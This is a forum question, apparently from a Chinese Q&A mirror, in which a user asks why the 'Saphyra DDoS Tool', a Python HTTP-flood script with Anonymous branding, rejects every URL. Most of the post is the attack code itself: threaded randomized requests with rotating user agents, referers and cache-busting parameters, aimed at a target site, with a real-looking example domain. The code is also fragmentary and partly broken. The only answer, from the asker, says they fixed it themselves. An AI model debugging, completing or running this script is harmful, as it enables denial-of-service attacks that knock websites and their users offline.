Python Saphyra 问题(无效的 URL 格式)

问题描述 投票:0回答:1

每当我运行 Saphyra 并插入链接时,它都会在控制台中显示无效的 URL 格式,实际上不适用于任何链接。

我想我已经尝试了几乎所有可能的方法,使用chatgpt,我的大脑,不起作用!从字面上看,我不知道问题是什么,因为代码对我来说看起来相当不错,我真的不明白问题是什么

相关代码:

#builds random ascii string
def buildblock(size):
    out_str = ''
    for i in range(0, size):
        a = random.randint(65, 160)
        out_str += chr(a)
    return(out_str)

def usage():
    print("Saphyra DDoS Tool ( individual Dangerous Denial of Service )")
    print("New loaded Botnets: 1,798,445,657")
    print("Usage: Saphyra (url)")
    print("Example: Saphyra.py http://luthi.co.il/")
    print("\a")
print("""
   ,-.
  ( O_)
 / `-/
/-. /
/   )
/   /  
              _           /-. /
             (_)*-._     /   )
               *-._ *-'**( )/    
                   *-/*-._* `. 
                    /     *-.'._
                   /\       /-._*-._
    _,---...__    /  ) _,-*/    *-(_)
___<__(|) _   **-/  / /   /
 '  `----' **-.   \/ /   /
               )  ] /   /
       ____..-'   //   /                       )
   ,-**      __.,'/   /   ___                 /,
  /    ,--**/  / /   /,-**   ***-.          ,'/
 [    (    /  / /   /  ,.---,_   `._   _,-','
  \    `-./  / /   /  /       `-._  *** ,-'
   `-._  /  / /   /_,'            **--*
       */  / /   /*         
       /  / /   /
      /  / /   /  
     /  |,'   /  
    :   /    /
    [  /   ,'     ~>Saphyra DDoS Tool<~
    | /  ,'      ~~>Created By Anonymous<~~
    |/,-'
    '
""")

    
#http request
def httpcall(url):
    useragent_list()
    referer_list()
    code=0
    if url.count("?")>0:
        param_joiner="&"
    else:
        param_joiner="?"
    request = urllib.request.Request(url + param_joiner + buildblock(random.randint(3, 10)) + '=' + buildblock(random.randint(3, 10)))
    request.add_header('User-Agent', random.choice(headers_useragents))
    request.add_header('Cache-Control', 'no-cache')
    request.add_header('Accept-Charset', 'ISO-8859-1,utf-8;q=0.7,*;q=0.7')
    request.add_header('Referer', random.choice(headers_referers) + buildblock(random.randint(50,100)))
    request.add_header('Keep-Alive', random.randint(110,160))
    request.add_header('Connection', 'keep-alive')
    request.add_header('Host',host)
def perform_request(request):
    code = None  # Initialize code to a default value
    try:
        urllib.request.urlopen(request)
    except urllib.error.HTTPError as e:
        set_flag(1)
        print("----->>> ! We are Anonymous - ExpectUS ! <<<-----")
        code = 500
    except urllib.error.URLError as e:
        sys.exit()
    else:
        inc_counter()
        code = urllib.request.urlopen(request).getcode() 
    return code


    
#http caller thread 
class HTTPThread(threading.Thread):
    def run(self):
        try:
            while flag < 2:
                httpcall(url)
                if (safe == 1):
                    set_flag(2)
        except Exception as ex:
            pass


# monitors http threads and counts requests
class MonitorThread(threading.Thread):
    def run(self):
        previous=request_counter
        while flag==0:
            if (previous + 100 < request_counter) and (previous != request_counter):
                previous=request_counter
        if flag==2:
            print("\n-- Sending mass amounf of packets generated by Liphyra Botnet --")

# execute
if len(sys.argv) < 2:
    usage()
    sys.exit()
else:
    if sys.argv[1] == "help":
        usage()
        sys.exit()
    else:
        print("Starting the Attack")
        print("ANONYMOUS")
        if len(sys.argv) == 3:
            if sys.argv[2] == "safe":
                set_safe()
        
        url = sys.argv[1]
        parsed_url = urlsplit(url)
        
        if not parsed_url.netloc:
            print("Invalid URL format")
            sys.exit()
        
        host = parsed_url.netloc
    

哈哈,更像是我没有尝试过的,我真的尝试了所有可能的方法,就像我真的改变了代码一样 1k 次 idk bruh

python http url ddos
1个回答
-1
投票

NVM 修复了我,我真的很迟钝 lmfao

© www.soinside.com 2019 - 2024. All rights reserved.